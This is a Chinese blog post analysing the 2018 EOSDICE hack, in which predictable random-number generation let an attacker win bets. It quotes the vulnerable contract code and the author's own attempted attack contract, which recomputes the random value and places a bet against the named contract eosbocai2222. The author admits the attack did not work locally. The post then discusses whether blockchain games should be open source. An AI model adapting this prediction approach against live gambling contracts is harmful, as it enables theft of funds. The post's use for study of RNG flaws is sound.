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EOS DICE随机数被攻破:区块链游戏需要开源吗?

EOS DICE随机数被攻破:区块链游戏需要开源吗?

高金 发布在 技术指南 78353

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今天起床看到 EOSDICE随机数竟然被攻破了?

之前我还看过代码,觉得挺安全的,看来我还是太菜了

随机数代码如下 (来源于github)

  1. uint8_trandom(account_name name,uint64_tgame_id)
  2. {
  3. asset pool_eos=eosio::token(N(eosio.token)).get_balance(_self,symbol_type(S(4,EOS)).name());
  4. automixd=tapos_block_prefix()*tapos_block_num()+name+game_id-current_time()+pool_eos.amount;
  5. constchar*mixedChar=reinterpret_cast<constchar*>(&mixd);
  6. checksum256 result;
  7. sha256((char*)mixedChar,sizeof(mixedChar),&result);
  8. uint64_trandom_num=*(uint64_t*)(&result.hash[0])+*(uint64_t*)(&result.hash[8])+*(uint64_t*)(&result.hash[16])+*(uint64_t*)(&result.hash[24]);
  9. return(uint8_t)(random_num%100+1);
  10. }
可以看到生成随机数 有几个特别的东西
  1. game_id 这个是递增的,可以拿到
  2. account_name 这个是玩家的用户名,可以拿到
  3. pool_eos 这个是当前合约的余额,如果短时间没有人玩的话,是可以拿到固定的值的
  4. taposblockprefix & taposblocknum 这两个是区块内部的值,如果我用合约来攻击的话,可以拿到
  5. current_time 当前时间戳(合约用了延时交易)
我当时看到这个合约的时候,其实有想过怎么攻击,但是发现变量比较多,应该比较难,攻击合约需要满足以下条件
  1. 需要短时间内没有人玩,要不然gameid 与 pooleos都会变动,导致你攻击失败
  2. 必须要把攻击合约与 出结果 的时间控制在一个区块内,要不然 taposblockprefix & taposblocknum 这两个数会发生改变
  3. 之前我一直觉得没办法攻击的是 时间,因为合约取的是未来时间的(其实发现了eos 延时合约运行的话,延时多久,时间往后加就行了。。。) 这点要是想明白了,说不定暴富的人就是我了...
我写的一个模拟攻击合约,不知道是不是因为本地测试的原因,taposblockprefix & taposblocknum 一直对不上

其实本来想 直接从合约拿到他的 game_id的,但是一直没有成功...

  1. voidcharity::hi(uint64_tgame_id)
  2. {
  3. asset pool_eos=eosio::token(N(eosio.token)).get_balance(N(eosbocai2222),symbol_type(S(4,EOS)).name());
  4. pool_eos.amount+=9985;
  5. uint64_tt=current_time();
  6. t+=1000000;
  7. automixd=tapos_block_prefix()*tapos_block_num()+_self+game_id-t+pool_eos.amount;
  8. constchar*mixedChar=reinterpret_cast<constchar*>(&mixd);
  9. checksum256 result;
  10. sha256((char*)mixedChar,sizeof(mixedChar),&result);
  11. uint64_trandom_num=*(uint64_t*)(&result.hash[0])+*(uint64_t*)(&result.hash[8])+*(uint64_t*)(&result.hash[16])+*(uint64_t*)(&result.hash[24]);
  12. print("random",random_num%100+1);
  13. // return (uint8_t)(random_num % 100 + 1);
  14. asset payout=asset(10000,S(4,EOS));
  15. action(
  16. permission_level{_self,N(active)},
  17. N(eosio.token),N(transfer),
  18. std::make_tuple(_self,N(eosbocai2222),payout,std::string("dice-rrr-50-")))
  19. .send();
  20. }
 

来一张测试截图

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可以看到除了 taposblockprefix & taposblocknum 这两个不一样的话,其他的都一样的,

taposblocknum 应该是每次+1,taposblockprefix 不知道生成规则,但是如果在一个区块内,应该是能拿到相同的.

事件回顾

根据官方给出的账号,我找到了黑客的攻击截图

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不知道黑客代码怎么写的,他现在已经把合约换掉了...并且吧钱转到了交易所

根据官方所说,他们有对合约自动检测工具,导致被发现疑似黑客事件,立马把钱转走了.

这一点还是值得表扬的,说明团队实力还是有的。(希望可以开源,这样的话,其他的dice被攻击了也不至于损失那么惨)

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好像公告发布的也比较早,不知道是不是 自动检测功能能把人call醒(哈哈哈)

总结与反思

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当被攻击后,有网友在官方群发了这样的一句话...

让我想起一个笑话

A: 为什么你玩DApp? B: 因为开源透明代码可见,更公平 A:最近玩什么呢 B:EOS上的菠菜 A:开源了么? B:没有
我一直觉得 区块链合约肯定要开源,要不然和其他的有啥区别呢?

我个人为啥投了这个游戏呢?是因为这个游戏开源,符合我理想中的区块链游戏,不会发生黑我的情况...

本以为他做大了,能给整个社区起一个带头作用,告诉大家,开源合约也没事情的,区块链游戏就是需要开源!

但是还好,损失不是很大。

最后借用老猫的一张图

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本文由巴比特专栏作者高金上传发布,未经许可请勿转载。

本文首发知乎专栏【区块链开发指北

评论(1)
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  • 木木月月能 2018-11-05
    早就说了,EOS就是用来忽悠技术小白的,所谓的炒币3.0